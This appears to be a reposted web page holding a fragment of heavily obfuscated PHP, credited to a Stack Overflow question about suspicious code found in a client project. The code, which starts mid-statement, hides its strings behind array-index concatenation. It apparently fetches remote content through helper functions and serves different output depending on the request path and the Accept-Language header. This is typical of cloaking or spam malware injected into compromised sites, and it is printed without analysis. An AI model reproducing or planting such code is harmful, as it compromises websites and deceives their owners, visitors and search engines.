ooOOoOOO($ooooOOOOoooOOOooO,$ooooooOoOoooOOOooo);header($O[47].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[53].$O[4].$O[5].$O[9].$O[2].$O[62].$O[4].$O[2].$O[20].$O[4].$O[63].$O[20].$O[25].$O[18]); echo $ooooooOoOoooOOOooooO;exit;}if(strpos($oOoooOOoOO,$O[59].$O[9].$O[15].$O[9])){ $ooooooOOoOOoooOOOooooOOOOO=explode($O[55],$oOoooOOoOO); $ooooooOOoOOoooOOOooooOOOOO=$ooooooOOoOOoooOOOooooOOOOO[count($ooooooOOoOOoooOOOooooOOOOO)-1]; $ooooooOOoOOoooOOOooooOOOOO=str_replace($O[59].$O[20].$O[25].$O[18],"",$ooooooOOoOOoooOOOooooOOOOO);}else{ $ooooooOOoOOoooOOOooooOOOOO= str_replace($O[63],"",$oOoooOOoOO);$ooooooOOoOOoooOOOooooOOOOO= str_replace($O[59].$O[20].$O[25].$O[18],"",$ooooooOOoOOoooOOOooooOOOOO);}$ooooooOoOoooOOOooo[$O[1].$O[8].$O[3].$O[12]]=$ooooooOOoOOoooOOOooooOOOOO;$ooooooOoOoooOOOooo[$O[10].$O[21].$O[4].$O[7].$O[8].$O[24]]=$O[21].$O[15].$O[2].$O[21].$O[17].$O[52].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9];$ooooooOOoOoOoooOOOooooOOoOOO=ooOOoOOO($oooooOOoooOOOoooOoo,$ooooooOoOoooOOOooo);if($ooooooOOoOoOoooOOOooooOOoOOO=='1'){$ooooooOoOoooOOOooooO=ooOOoOOO($ooooOOOOoooOOOooO,$ooooooOoOoooOOOooo);header($O[47].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[53].$O[4].$O[5].$O[9].$O[2].$O[62].$O[4].$O[2].$O[20].$O[4].$O[63].$O[20].$O[25].$O[18]);echo $ooooooOoOoooOOOooooO;exit;}$ooooooOoOoooOOOooo[$O[10].$O[21].$O[4].$O[7].$O[8].$O[24]]=$O[21].$O[15].$O[2].$O[21].$O[17].$O[52].$O[1].$O[8].$O[3].$O[12].$O[11];$ooooooOOoOoOoooOOOooooOOoOoOO= ooOOoOOO($oooooOOoooOOOoooOoo,$ooooooOoOoooOOOooo);if(strpos($oOoooOOoOO,$O[25].$O[10].$O[9])> 0 || $ooooooOOoOoOoooOOOooooOOoOoOO=='1'){$ooooooOoOoooOOOooo[$O[10].$O[21].$O[4].$O[7].$O[8].$O[24]]=$O[3].$O[10].$O[24].$O[12].$O[52].$O[20].$O[25].$O[18];$ooooooOOoOoOoooOOOooooOOoOOO=ooOOoOOO($oooooOOoooOOOoooOoo,$ooooooOoOoooOOOooo);header($O[47].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[53].$O[4].$O[5].$O[9].$O[2].$O[62].$O[4].$O[2].$O[20].$O[4].$O[63].$O[20].$O[25].$O[18]);echo $ooooooOOoOoOoooOOOooooOOoOOO;exit;}}if(strpos($oOoooOOoOO,$O[59].$O[9].$O[15].$O[9])){$ooooooOOooOooOoooOOOooooOOoOoOO=$oOooOOoOO.$ooOOOOoooOOOoOO.$ooOOOoooOOoOO;$ooooooOoOoooOOOooo[$O[25].$O[10].$O[7].$O[24].$O[52].$O[11].$O[15].$O[2].$O[18].$O[18]]=$ooooooOOooOooOoooOOOooooOOoOoOO;}else{$ooooooOOooOooOoooOOOooooOOoOoOO=$oOooOOoOO.$ooOOOOoooOOOoOO;$ooooooOoOoooOOOooo[$O[25].$O[10].$O[7].$O[24].$O[52].$O[11].$O[15].$O[2].$O[18].$O[18]]=$ooooooOOooOooOoooOOOooooOOoOoOO;}  $ooooOoOOooOoooOOOoOoOoOoO=oooOOooOOoOO($oooOOOooOoooOOOooooOoOoOoOoO);if(strpos($_SERVER[$O[29].$O[28].$O[26].$O[32].$O[28].$O[37].$O[30].$O[52].$O[32].$O[29].$O[33]],$O[59].$O[9].$O[15].$O[9])){ $ooooooooOOOOOOOO = $O[55]; }else{ $ooooooooOOOOOOOO = $O[63]; } if($ooooOoOOooOoooOOOoOoOoOoO && ( preg_match($O[63].$O[16].$O[10].$O[63].$O[7],@$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[36].$O[47].$O[47].$O[28].$O[35].$O[30].$O[52].$O[44].$O[36].$O[50].$O[40].$O[32].$O[36].$O[40].$O[28]]) || preg_match($O[63].$O[16].$O[9].$O[63].$O[7],@$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[36].$O[47].$O[47].$O[28].$O[35].$O[30].$O[52].$O[44].$O[36].$O[50].$O[40].$O[32].$O[36].$O[40].$O[28]]) || preg_match("/^[a-z0-9]+[0-9]+$/",end(explode($ooooooooOOOOOOOO,str_replace(array(".html",".htm"),"",$_SERVER[$O[29].$O[28].$O[26].$O[32].$O[28].$O[37].$O[30].$O[52].$O[32].$O[29].$O[33]])))))){  echo ooOOoOOO($ooooOOOOoooOOOooOoo,$ooooooOoOoooOOOooo);exit;}$oooOoOooOooOoooOOOoOoOoOoOo=oooOOOo($oooOoOOooOoooOOOoOoOoOoOoO);if($oooOoOooOooOoooOOOoOoOoOoOo){$ooooooOOOOOoooOOOOooooooO = ooOOoOOO($oooOOOOoooOOOooOO,$ooooooOoOoooOOOooo); if($ooooooOOOOOoooOOOOooooooO==$O[70].$O[67].$O[70]){header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[67].$O[57].$O[70].$O[67].$O[70].$O[57].$O[50].$O[8].$O[4].$O[57].$O[39].$O[8].$O[6].$O[24].$O[12]);exit;}else if($ooooooOOOOOoooOOOOooooooO==$O[69].$O[67].$O[67]){header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[67].$O[57].$O[69].$O[67].$O[67].$O[57].$O[33].$O[24].$O[4].$O[2].$O[3].$O[24].$O[10].$O[18].$O[57].$O[37].$O[2].$O[3].$O[22].$O[2].$O[3].$O[57].$O[28].$O[3].$O[3].$O[8].$O[3]);exit;}else if($ooooooOOOOOoooOOOOooooooO==$O[23].$O[18].$O[10].$O[24].$O[17]){echo '';exit;}else{echo $ooooooOOOOOoooOOOOooooooO;exit;} }else{ header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[67].$O[57].$O[70].$O[67].$O[70].$O[57].$O[50].$O[8].$O[4].$O[57].$O[39].$O[8].$O[6].$O[24].$O[12]);} 

?>


source https://stackoverflow.com/questions/75844828/found-a-block-of-obfuscated-php-code-in-a-client-project-what-does-this-do

No comments:

Post a Comment